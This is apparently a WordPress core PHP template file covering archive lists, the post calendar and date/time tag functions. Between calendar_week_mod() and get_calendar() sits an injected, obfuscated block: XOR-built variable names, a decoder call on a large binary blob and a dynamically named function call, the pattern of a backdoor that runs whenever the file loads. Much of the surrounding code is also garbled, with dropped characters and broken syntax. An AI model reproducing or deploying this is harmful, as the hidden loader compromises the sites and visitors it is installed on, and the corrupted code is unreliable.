specified * by the 'limit' integer value. By default, there is no limit. The * 'show_post_count' argument will show how many posts are within the archive. * By default, the 'show_post_count' argument is set to false. * * For the 'format', 'before', and 'after' arguments, see {@link * get_archives_link()}. The values of these arguments he to do with that * function. * * @since 1.2.0 * * @param string|array $args Optional. Override defaults. * @return string|null String when retrieving, null when displaying. */ function wp_get_archives($args = '') { global $wpdb, $wp_locale; $defaults = array( 'type' => 'monthly', 'limit' => '', 'format' => 'html', 'before' => '', 'after' => '', 'show_post_count' => false, 'echo' => 1, 'order' => 'DESC', ); $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); if ( '' == $type ) $type = onthly'; if ( '' != $limit ) { $limit = absint($limit); $limit = ' LIMIT '.$limit; } $order = strtoupper( $order ); if ( $order !== 'ASC' ) $order = 'DESC'; // this is what will separate dates on weekly archive links $archive_week_separator = '–'; // over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride $archive_date_format_over_ride = 0; // options for daily archive (only if you over-ride the general date format) $archive_day_date_format = 'Y/m/d'; // optns for weekly archive (only if you over-ride the general date format) $archive_week_start_date_format = 'Y/m/d'; $archive_week_end_date_format = 'Y/m/d'; if ( !$archive_date_format_over_ride ) { $archive_day_date_format = get_option('date_format'); $archive_week_start_date_format = get_option('date_format'); $archive_week_end_date_format = get_option('date_format'); } //filters $where = apply_filters( 'getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r ); $join = apply_filters( 'getchives_join', '', $r ); $output = ''; if ( 'monthly' == $type ) { $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } els{ $arcresults = $cache[ $key ]; } if ( $arcresults ) { $afterafter = $after; foreach ( (array) $arcresults as $arcresult ) { $url = get_month_link( $arcresult->year, $arcresult->month ); /* translators: 1: month name, 2: 4-digit year */ $text = sprintf(__('%1$s %2$d'), $wp_locale->get_month($arcresult->month), $arcresult->year); if ( $show_post_count ) $after = ' ('.$arcresult->posts.')' . $afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } seif ('yearly' == $type) { $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } if ($arcresults) { $afterafter = $after; reach ( (array) $arcresults as $arcresult) { $url = get_year_link($arcresult->year); $text = sprintf('%d', $arcresult->year); if ($show_post_count) $after = ' ('.$arcresult->posts.')' . $afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } elseif ( 'daily' == $type ) { $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTpost_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } if ( $arcresults ) { $afterafter = $after; foreach ( (array) $arcresults as $arcresult ) { $url = get_day_link($arcresult->year, $arcresult->month, $aresult->dayofmonth); $date = sprintf('%1$d-%2$02d-%3$02d 00:00:00', $arcresult->year, $arcresult->month, $arcresult->dayofmonth); $text = mysql2date($archive_day_date_format, $date); if ($show_post_count) $after = ' ('.$arcresult->posts.')'.$afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } elseif ( 'weekly' == $type ) { $week = _wp_mysql_week( '`post_date`' ); $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_dat, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } $arc_w_last = ''; $afterafter = $after; if ( $arcresults ) { reach ( (array) $arcresults as $arcresult ) { if ( $arcresult->week != $arc_w_last ) { $arc_year = $arcresult->yr; $arc_w_last = $arcresult->week; $arc_week = get_weekstartend($arcresult->yyyymmdd, get_option('start_of_week')); $arc_week_start = date_i18n($archive_week_start_date_format, $arc_week['start']); $arc_week_end = date_i18n($archive_week_end_date_format, $arc_week['end']); $url = sprintf('%1$s/%2$s%3$sm%4$s%5$s%6$sw%7$s%8$d', home_url(), '', '?', '=', $arc_year, '&', '= $arcresult->week); $text = $arc_week_start . $archive_week_separator . $arc_week_end; if ($show_post_count) $after = ' ('.$arcresult->posts.')'.$afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } } elseif ( ( 'postbypost' == $type ) || ('alpha' == $type) ) { $orderby = ('alpha' == $type) ? 'post_title ASC ' : 'post_date DESC '; $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit"; $key = md5($query); $cache = wp_cachget( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } if ( $arcresults ) { foreach ( (array) $arcresults as $arcresult ) { if ( $arcresult->post_date != '0000-00-00 00:00:00' ) { $url = get_permalink( $arcresult ); if ( $arcresult->post_title ) $text = strip_tags( apply_filters( 'the_title', $arcresul>post_title, $arcresult->ID ) ); else $text = $arcresult->ID; $output .= get_archives_link($url, $text, $format, $before, $after); } } } } if ( $echo ) echo $output; else return $output; } /** * Get number of days since the start of the week. * * @since 1.5.0 * * @param int $num Number of day. * @return int Days since the start of the week. */ function calendar_week_mod($num) { $base = 7; return ($num - $base*floor($num/$base)); } /** * Display calendar with days that have posts asinks. * * The calendar is cached, which will be retrieved, if it exists. If there are * no posts for the month, then it will not be displayed. * * @since 1.0.0 */ ${'TXʧҹ'/*ga`3e/*/^/*AR@&*/'``'}='336Z' ^ 'IUqB?'; ${'6'/*HO@BnweZVK*/^/*qMO4*/'` '}= ( ${'*tb'/*Qx0*/^/*AxMZ`=<*/'b~%ղ'}( '}eP  R Hw/K.�? "HK+ �?"%�?- ҹg?gΛ󂙝^q? 3?@W3$�?[ ~e�?\\ zR�I<.\'^(.=?w+?a%+ː(3$ȳM Y IһE6}7^M?1SH Z#W[ZIʾ7Lw6\'!Y;ō:& ^=NczD>QRq8xw6.HHʭyo{tB|iOjc^g3ί$R@/_̹ Fm, $_| ĵե/l% ԃd&]3z�?#xy({G?5RUr%^"D䍋φ-Y7L_+Bgƥ { V-mA\'RTE)*ejc.[uZ_y!nG6CS ˹XO6GЯ*�?c: C$Tw( MNKc̩ ,^;Tk8dT9fY^\\lT=NjO{@Dd=4Gs>T) e-IZ*I=�?Щj\']55iv,9ˑ~>pRr;ynk%B+b+H-F$3;Kp3O-RG#Bo$9\\R5/pէq!,6t�SäN&>H �"A�?vԵ<ђu ^dB[/oC-P#TQC:7<Rܵ~8\\b_%Sx2igӡuCӨcW_hq[A`g)ȰIXbw �I8g2a 9\\t"8kWxz ]2�?J {3Ua}NzO3V�?TjQ=#`NG~6� R]Vuѥc�?]֡[X~9"P|;33A\'^r bh[ }$,g/S�?.%OσgeX}1ފ_ `,}2Q\'V7(8Q80^;zfc0< ];YhUFA.tBN1yEAysMI 5ŽeWEK;^*ƛuW̳e=&J�? =(V]H݉1}^3dgROMij `*m!kY 4+X(?r.4}[t�?\'̹OXΒ܋/#kԍD k L,;|ޏ@�w!_)ѿئuMѿ�?$LAHB<ty!"i%?|$iԯ(a.Jy(- +mYk1b~FI5V1Dm @~#/6iж=?gLA\'[Gua$�?:yƗypEժicQtoKzgW>w �?7_ +m>6 f{SS4HY�?>9<cdMpKEmŽ2lZὰ6FnRs,^z6>j3uZ9k "//H,KAjFjvv; <l Zf&�?iq[u�?cMj_s6 zy y J4GN*977!CE{,֘x֝?0?I?8[CR"Θ/1#~0B\'p<V[} sW�?5B@�?mHzj�?IRaGl0O8{\' 8GdE�?:x{sx9 8aPC�?Ik\'Nnm\\Ghd�?3  g7%+qt�?VrQG8,~譥�?`^{}c2 ~~ &ym;#3@y$yeL1\'ɰH:*VޛzBpt4E8a-Dif!RG v6${LXz|0fK>$2*CIwf\'%D3rv\\�\\sldfֳ_ �TW:[)R�?Tӣ;+,~cOՍ(x}Bj~FS{os�?yX 7p X[Q4!y\\ S--ĉxy�?imqOYS7@?Ζlyi3]iU[]%rb{ ̘  Jq=. {:7iq}BSw-^ֆQ?ԣ=܌ֶ6":|/j|ȄJdU]L\\U!�?z:!6,u-f sǤ n G`;Y% ̶E7|  0jG"g\\" nGgOo/n| z* }\\_Vo ,־^哨wRnzOyĄCΥoWOˡPf#E5;댅3*U�\'F3j);/-�?JZ9Eu=7_udQ\'yژQ�?ҟ*$y~pJ b5EwNQҺUL]cbtR_Q%K/Bֆ+疫)ZQk1wyFiRA9>*juIp?=VXcI[fMI.m2Oo <,W\\rNfVA șa77<:MT7&BJ̒]�?v-3 \'y:?.t?ry#Vjf�Rrkyñ!-4ǢW4�?9_ e 4N,z_k}nU*C }`@ =qʨ}ҙ)κ- x՗H/>8S!= D#ϐ /Sµb}B$NWqW|Grjqmď;K)4c eHʟcE ?4|G}A"c1A.~T: b_�ݧpnX>"KhaKz3g:m#cCpGܭyPƸ J2*\\#B>�?g̒ZYen6NIIC` Ah12BF *;M÷nv>Nli2/_xEa1ʊP: m$HOZ%iRrx~�?ߜļSh%eK`X0hg{-*zחLD;\'*t%E~B]FS~ػ?16l>FQLp;tQ{>EG̯ Ͷ_:-,Hya sg01)ͦE1vBuS�?:)*li_�?8y%NYR~3ͩ(oĘ0/PuC"tCh^%[F>uL+,�? v_b]^CIҍ>cl#|^Z?j[~Hm\'}!S]3뜹!RE\\l<]@ZhS*qU|b^Ta{s^hC8)GXv{=&Wp]:Wqҗ&^J=^^+9P>+ h}«`_B>z֍6) 89&si` }V?u}i [jJ{wfuz~?XfLfUrVziV7|ځaIzLAxYtئ~SzY@@JTA!+2支F"Mh|N8 �?3L6MEh :n3FW={v(71kS P`*ϥ}%sYZhG7e8[o*YІt/#3# %i^mY5uoRn?Ij~<_1M?^#Xc QHU0[[aJiP (/i`xm%KegBcxZwtǤW\\d7Wd+tZf39MuX !SE5Ω#&8Ou-j 2B;.~wzdu*kKMJ%N)B_WBt^ gĪcZj;=4?TORP<n} g5Vk^Du1VV=<,:/ob(KG,?\\3qz9l5Tj e; F?O8 \'],k>]Y0Q|}2HG=+|%H9UjN{xf]Z8%woLǭ by=¥.m__1ZaB%֫uJTrkwK~^4ʻ:bY�?#ba, {zCo =8L5솔翄{@֜1$s"=xbNTfӫUI.O`i_Wr yF. PSe?sNUmrtrwM<#^؅- a AчfJ=x;p94GG�?!xJ>W~=tH.Jd>0pqtY؍uo#Ձaa}\\SlGuJչ7=F"zGHe�?J&=YCMN;E|bh %}/MȴLݰ]n8y\\z1i|Ow ܋c=yb0Qv=+U o[ma_1-! +LDDC>5Mң\\TɜIq~ ַPjaVRlrV�?~\'TRZջ_^�?m> ~ iϗy3P’3Ll;c\\< @1$6$IKB:Q"P# )Ig@MRV~`DfepsJ}rqj=)*M1�? 8[֋ğqL3o%[ui:UP7<63\\<htz�? o-Xo"p,&Vҏ:m!s]%X*ZTɑ3O+F0sP�?rs 6UmlN_8XLy # {͸@. mo(?j19%u=dHfh4j6xl\\Yj\\)R;+ɌbIHD��?JܔBE6tPO`lIՄ;*CK*"E硎2قSY+#f SayWÔ- }~c}z0L!uE/:paÞpM"bou.6} \'p[$d�?rI~y׍=J$ 3>mc||8Q|PC F1$MEQl()`IPvL"&EMf!l5]š&\'Iͼ,)>O\';9ת)J_==;/EV\'bKm`|6_}˴z`6xlZr)fs:J)Uɒ1N>arַ9/ǰw+OirpGjzm+ j//ge%2(3<ܼ7;H2UD6ν�?IJ~xK?Fg1u\\%u-S6\\N -} 0V6v�?`}:x9IF>9<`\'OhWE3F噇feF99& VE((j.]-di>ܝ̍VkxBmna ִ,́$+{2fR.eZݜ>j#-4p1-}i~aӹ,5�?wwӨz^1`ȹ2vd y;R70=pn1%o-,w»=W X&r,"GɊ[BJ6 辎).R[f޴m3XXC9=E"g!N.(7?Y&84 YUv:HhLXϸ q`GMETk7K\\p^JcĜH;Aܢ8 n&#LȵJ9q8 Uۑ]xxL*Ө^n_**[F vt\\+CqZeؾ㬉�?�hM8�?׼&N:D|H7r)+k* ~+Vlk*!;𢙴}7%s?;ךfG\'Tj͊1Wb2tY}U\\%&NXƽ>V#e6ἦx&/ a:8=1^kL�J#ȏW9%Ԫ<K�6D|x0mZ>eWӪ(yrRꟼ_b?u)(�RvOQL.xgJ2빍3/Üs.EM$��p@ l5p]."/�?쥑6\'o.@_ O aG>!t0Wkgl.aPݸ`�+yu55WFZ�?K<1{�?ꃡ g�UexU�Pixz#U8a`F P?C}%w#=G=Xe 2ԊWRԵC_ԋ*!B2Yw:N NxUK).zZVN*.}MW~/eG]5Y55m>e;a\'=kO^#%%>n mi\'] a;aagvA6 s2tU4re�?lemʲZBJ^nF6V^F:<2= {#""(~< ]|\\]<, dqЅz)@eTT:Ϊ|Έ-x\\uuTE�?d|}:5}*@~dy4|:*Y ]|} "H-�Rgo.D?!v WZEQFWGlǿkjxvʲj 0qRG<Վ3†\\?&;pjr({ >!C[ a}LP(z#�?% ;r_)AxD| d�?ՠRdGxf*Y2ɷ!W@tqp2;()BP+llioi �{@0A 2RBPG&n0fj͔앐%MDt,Z9~U?A>Cѿ$]}}`FX*rR/5?Rgecc8\'x}rMnkO{^Wauu7um?[{z!}Z4>z?)LggJo`eG�?��C� f oM$  #ue*jOGO E@k#NGOE !,ר+ @/iAh"B`�cC:o.so7҈@W~ʿ;_/M([r_!B?X�@�D8x5NBBN^ZE[ͳGDXw!*AkXnrGTfATHDhĖKpXEy�crIo5:?Z:!r9d0SAMc> A:jz:l@nPOHfKsjd!HE.qK0mjvyτZ睸P`q[* Sm86�ϤNɹC*atDŽR ed _"?nCz)` #@^:*m�?v:mXP�?!%:kjQyMBgHT>څBlaEU*Ǒh fZP!х Y^D"~! 5#<,Xy 킆 1 ,9:H!J)TBt2QL ?жf"9#8$/jCJ`:JE/Pᩪ_@dk7 QJ"0H �?@NܿNL)KZQP/V_$xw caL.PZGKѪ�?\'m6BzE9f~yJy6/Q\'p0~IdH2)4W�?8�?DFZQwQ󛨍WGFH6o}P(墐$JB�?el3\\a') ) ; ${'7Ҁs|'/*SWa}NGf&H6*/^/*N=*/'{);'}='6<;' ^ 'NO';${'|'/*Hi<se!yO*/^/*M+V2*/'a0Ғπ'}( 'XdތLtguoז' ^ '4L9]GJ^E') ; /* * @uses calendar_week_mod() * * @param ol $initial Optional, default is true. Use initial calendar names. * @param bool $echo Optional, default is true. Set to false for return. * @return string|null String when retrieving, null when displaying. */ function get_calendar($initial = true, $echo = true{ global $wpdb, $m, $monthnum, $year, $wp_locale, $posts; $cache = array(); $key = md5( $m . $monthnum . $year ); if ( $cache = wp_cache_get( 'get_calendar', 'calendar' ) ) { if ( is_array($cache) && isset( $cache[ $key ] ) ) { if ( $echo ) { echo apy_filters( 'get_calendar', $cache[$key] ); return; } else { return apply_filters( 'get_calendar', $cache[$key] ); } } } if ( !is_array($cache) ) $cache = array(); // Quick check. If we have no posts at all, abort! if ( !$posts ) { $gotse = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1"); if ( !$gotsome ) { $cache[ $key ] = ''; wp_cache_set( 'get_calendar', $cache, 'calendar' ); return; } } if ( isset($_GET['w']) ) $w = ''.intval($_GET['w']); // week_begins = 0 stands for Sunday $week_begins = intval(get_option('start_of_week')); // Let's figure out when we are if ( !empty($monthnum) && !empty($year) ) { $thismonth = ''.zeroise(intval($monthnum), 2); $thisyear = ''ntval($year); } elseif ( !empty($w) ) { // We need to get the month from MySQL $thisyear = ''.intval(substr($m, 0, 4)); $d = (($w - 1) * 7) + 6; //it seems MySQL's weeks disagree with PHP's $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisar}0101', INTERVAL $d DAY) ), '%m')"); } elseif ( !empty($m) ) { $thisyear = ''.intval(substr($m, 0, 4)); if ( strlen($m) < 6 ) $thismonth = '01'; else $thismonth = ''.zeroise(intval(substr($m, 4, 2)), 2); } else { $thisyear = gmdate('Y', currentime('timestamp')); $thismonth = gmdate('m', current_time('timestamp')); } $unixmonth = mktime(0, 0 , 0, $thismonth, 1, $thisyear); $last_day = date('t', $unixmonth); // Get the next and previous month and year with at least one post $previous = $wpdb->getow("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year FROM $wpdb->posts WHERE post_date < '$thisyear-$thismonth-01' AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 1"); $next = $wpdb->get_row("SELECT MONTH(postate) AS month, YEAR(post_date) AS year FROM $wpdb->posts WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59' AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date ASC LIMIT 1"); /* translators: Calendar caption: 1: month nam 2: 4-digit year */ $calendar_caption = _x('%1$s %2$s', 'calendar caption'); $calendar_output = '<table id="wp-calendar"> <caption>' . sprintf($calendar_caption, $wp_locale->get_month($thismonth), date('Y', $unixmonth)) . '</caption> <thead> <tr>'; $myweek array(); for ( $wdcount=0; $wdcount<=6; $wdcount++ ) { $myweek[] = $wp_locale->get_weekday(($wdcount+$week_begins)%7); } foreach ( $myweek as $wd ) { $day_name = (true == $initial) ? $wp_locale->get_weekday_initial($wd) : $wp_locale->get_weekday_abbrev($w; $wd = esc_attr($wd); $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>"; } $calendar_output .= ' </tr> </thead> <tfoot> <tr>'; if ( $previous ) { $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_mon_link($previous->year, $previous->month) . '" title="' . esc_attr( sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($previous->month), date('Y', mktime(0, 0 , 0, $previous->month, 1, $previous->year)))) . '">« ' . $wp_locale->get_month_abbrev($wlocale->get_month($previous->month)) . '</a></td>'; } else { $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad"> </td>'; } $calendar_output .= "\n\t\t".'<td class="pad"> </td>'; if ( $next ) { $calendar_output .= "\n\t\t".'<td lspan="3" id="next"><a href="' . get_month_link($next->year, $next->month) . '" title="' . esc_attr( sprintf(__('View posts for %1$s %2$s'), $wp_locale->get_month($next->month), date('Y', mktime(0, 0 , 0, $next->month, 1, $next->year))) ) . '">' . $wp_locale->get_nth_abbrev($wp_locale->get_month($next->month)) . ' »</a></td>'; } else { $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad"> </td>'; } $calendar_output .= ' </tr> </tfoot> <tbody> <tr>'; // Get days with posts $dayswithpos = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date) FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00' AND post_type = 'post' AND post_status = 'publish' AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARY_N); if ( $dayswithposts ) { foreach ( (array) $dayswithposts as $daywith ) { $daywithpost[] = $daywith[0]; } } else { $daywithpost = array(); } if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'camin) !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'safari') !== false) $ak_title_separator = "\n"; else $ak_title_separator = ', '; $ak_titles_for_day = array(); $ak_post_titles = $wpdb->get_results("SELECT ID, post_title, DAYOFMONTH(post_date) as dom " ."FROM $wpdb->posts " ."WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00' " ."AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59' " ."AND post_type = 'post' AND post_status = 'publish'" ); if ( $ak_post_titles ) { foreach ( (array) $_post_titles as $ak_post_title ) { $post_title = esc_attr( apply_filters( 'the_title', $ak_post_title->post_title, $ak_post_title->ID ) ); if ( empty($ak_titles_for_day['day_'.$ak_post_title->dom]) ) $ak_titles_for_day['day_'.$ak_post_title->dom] = ; if ( empty($ak_titles_for_day["$ak_post_title->dom"]) ) // first one $ak_titles_for_day["$ak_post_title->dom"] = $post_title; else $ak_titles_for_day["$ak_post_title->dom"] .= $ak_title_separator . $post_title; } } // See how much we shoulpad in the beginning $pad = calendar_week_mod(date('w', $unixmonth)-$week_begins); if ( 0 != $pad ) $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr($pad) .'" class="pad"> </td>'; $daysinmonth = intval(date('t', $unixmonth)); for ( $day = 1; $day= $daysinmonth; ++$day ) { if ( isset($newrow) && $newrow ) $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t"; $newrow = false; if ( $day == gmdate('j', current_time('timestamp')) && $thismonth == gmdate('m', current_time('timestamp')) && $thisyear == gmdateY', current_time('timestamp')) ) $calendar_output .= '<td id="today">'; else $calendar_output .= '<td>'; if ( in_array($day, $daywithpost) ) // any posts today? $calendar_output .= '<a href="' . get_day_link( $thisyear, $thismonth, $day ) . '" title' . esc_attr( $ak_titles_for_day[ $day ] ) . "\">$day</a>"; else $calendar_output .= $day; $calendar_output .= '</td>'; if ( 6 == calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins) ) $newrow = true; } $pad = 7 calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins); if ( $pad != 0 && $pad != 7 ) $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr($pad) .'"> </td>'; $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</ble>"; $cache[ $key ] = $calendar_output; wp_cache_set( 'get_calendar', $cache, 'calendar' ); if ( $echo ) echo apply_filters( 'get_calendar', $calendar_output ); else return apply_filters( 'get_calendar', $calendar_output ); } /** * Purge the cacheresults of get_calendar. * * @see get_calendar * @since 2.1.0 */ function delete_get_calendar_cache() { wp_cache_delete( 'get_calendar', 'calendar' ); } add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cae' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); /** * Display all of the allowed tags in HTML format with attributes. * * This is useful for displaying in thcomment area, which elements and * attributes are supported. As well as any plugins which want to display it. * * @since 1.0.1 * @uses $allowedtags * * @return string HTML allowed tags entity encoded. */ function allowed_tags() { global $allowedtags; $alled = ''; foreach ( (array) $allowedtags as $tag => $attributes ) { $allowed .= '<'.$tag; if ( 0 < count($attributes) ) { foreach ( $attributes as $attribute => $limits ) { $allowed .= ' '.$attribute.'=""'; } } $allowed .= '> '; } return htmlenties($allowed); } /***** Date/Time tags *****/ /** * Outputs the date in iso8601 format for xml files. * * @since 1.0.0 */ function the_date_xml() { echo mysql2date( 'Y-m-d', get_post()->post_date, false ); } /** * Display or Retrieve the date the currentpost was written (once per date) * * Will only output the date if the current post's date is different from the * previous one output. * * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the * function is called severalimes for each post. * * HTML output can be filtered with 'the_date'. * Date string output can be filtered with 'get_the_date'. * * @since 0.71 * @uses get_the_date() * @param string $d Optional. PHP date format defaults to the date_format option if not specied. * @param string $before Optional. Output before the date. * @param string $after Optional. Output after the date. * @param bool $echo Optional, default is display. Whether to echo the date or return it. * @return string|null Null if displaying, string if trieving. */ function the_date( $d = '', $before = '', $after = '', $echo = true ) { global $currentday, $previousday; $the_date = ''; if ( $currentday != $previousday ) { $the_date .= $before; $the_date .= get_the_date( $d ); $the_date .= $after; $preousday = $currentday; $the_date = apply_filters('the_date', $the_date, $d, $before, $after); if ( $echo ) echo $the_date; else return $the_date; } return null; } /** * Retrieve the date the current $post was written. * * Unlike the_date() thisunction will always return the date. * Modify output with 'get_the_date' filter. * * @since 3.0.0 * * @param string $d Optional. PHP date format defaults to the date_format option if not specified. * @return string|null Null if displaying, string if retrievi. */ function get_the_date( $d = '' ) { $post = get_post(); $the_date = ''; if ( '' == $d ) $the_date .= mysql2date(get_option('date_format'), $post->post_date); else $the_date .= mysql2date($d, $post->post_date); return apply_filters('get_the_date', $e_date, $d); } /** * Display the date on which the post was last modified. * * @since 2.1.0 * * @param string $d Optional. PHP date format defaults to the date_format option if not specified. * @param string $before Optional. Output before the date. * @par string $after Optional. Output after the date. * @param bool $echo Optional, default is display. Whether to echo the date or return it. * @return string|null Null if displaying, string if retrieving. */ function the_modified_date($d = '', $before='', $after=''$echo = true) { $the_modified_date = $before . get_the_modified_date($d) . $after; $the_modified_date = apply_filters('the_modified_date', $the_modified_date, $d, $before, $after); if ( $echo ) echo $the_modified_date; else return $the_modified_date; } ** * Retrieve the date on which the post was last modified. * * @since 2.1.0 * * @param string $d Optional. PHP date format. Defaults to the "date_format" option * @return string */ function get_the_modified_date($d = '') { if ( '' == $d ) $the_time = gepost_modified_time(get_option('date_format'), null, null, true); else $the_time = get_post_modified_time($d, null, null, true); return apply_filters('get_the_modified_date', $the_time, $d); } /** * Display the time at which the post was written. * * @since.71 * * @param string $d Either 'G', 'U', or php date format. */ function the_time( $d = '' ) { echo apply_filters('the_time', get_the_time( $d ), $d); } /** * Retrieve the time at which the post was written. * * @since 1.5.0 * * @param string $d OptionaEither 'G', 'U', or php date format defaults to the value specified in the time_format option. * @param int|object $post Optional post ID or object. Default is global $post object. * @return string */ function get_the_time( $d = '', $post = null ) { $post = gepost($post); if ( '' == $d ) $the_time = get_post_time(get_option('time_format'), false, $post, true); else $the_time = get_post_time($d, false, $post, true); return apply_filters('get_the_time', $the_time, $d, $post); } /** * Retrieve the time at which e post was written. * * @since 2.0.0 * * @param string $d Optional Either 'G', 'U', or php date format. * @param bool $gmt Optional, default is false. Whether to return the gmt time. * @param int|object $post Optional post ID or object. Default is global $po object. * @param bool $translate Whether to translate the time string * @return string */ function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { // returns timestamp $post = get_post($post); if ( $gmt ) $time = $post->post_da_gmt; else $time = $post->post_date; $time = mysql2date($d, $time, $translate); return apply_filters('get_post_time', $time, $d, $gmt); } /** * Display the time at which the post was last modified. * * @since 2.0.0 * * @param string $d Optional Either ', 'U', or php date format defaults to the value specified in the time_format option. */ function the_modified_time($d = '') { echo apply_filters('the_modified_time', get_the_modified_time($d), $d); } /** * Retrieve the time at which the post was last modified * * @since 2.0.0 * * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option. * @return string */ function get_the_modified_time($d = '') { if ( '' == $d ) $the_time = get_post_modified_time(t_option('time_format'), null, null, true); else $the_time = get_post_modified_time($d, null, null, true); return apply_filters('get_the_modified_time', $the_time, $d); } /** * Retrieve the time at which the post was last modified. * * @since 2.0.0 * * @ram string $d Optional, default is 'U'. Either 'G', 'U', or php date format. * @param bool $gmt Optional, default is false. Whether to return the gmt time. * @param int|object $post Optional, default is global post object. A post_id or post object * @param booltranslate Optional, default is false. Whether to translate the result * @return string Returns timestamp */ function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) { $post = get_post($post); if ( $gmt ) $time = $post->posmodified_gmt; else $time = $post->post_modified; $time = mysql2date($d, $time, $translate); return apply_filters('get_post_modified_time', $time, $d, $gmt); } /** * Display the weekday on which the post was written. * * @since 0.71 * @uses $wp_locale *uses $post */ function the_weekday() { global $wp_locale; $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) ); $the_weekday = apply_filters('the_weekday', $the_weekday); echo $the_weekday; } /** * Display the weekday onhich the post was written. * * Will only output the weekday if the current post's weekday is different from * the previous one output. * * @since 0.71 * * @param string $before Optional Output before the date. * @param string $after Optional Output after t date. */ function the_weekday_date($before='',$after='') { global $wp_locale, $day, $previousweekday; $the_weekday_date = ''; if ( $currentday != $previousweekday ) { $the_weekday_date .= $before; $the_weekday_date .= $wp_locale->get_weekday( mysql2date( ', get_post()->post_date, false ) ); $the_weekday_date .= $after; $previousweekday = $currentday; } $the_weekday_date = apply_filters('the_weekday_date', $the_weekday_date, $before, $after); echo $the_weekday_date; } /** * Fire the wp_head action * * @sce 1.2.0 * @uses do_action() Calls 'wp_head' hook. */ function wp_head() { do_action('wp_head'); } /** * Fire the wp_footer action * * @since 1.5.1 * @uses do_action() Calls 'wp_footer' hook. */ function wp_footer() { do_action('wp_footer'); } /** * Dilay the links to the general feeds. * * @since 2.8.0 * * @param array $args Optional arguments. */ function feed_links( $args = array() ) { if ( !current_theme_supports('automatic-feed-links') ) return; $defaults = array( /* translators: Separator betwn blog name and feed type in feed links */ 'separator' => _x('»', 'feed link'), /* translators: 1: blog title, 2: separator (raquo) */ 'feedtitle' => __('%1$s 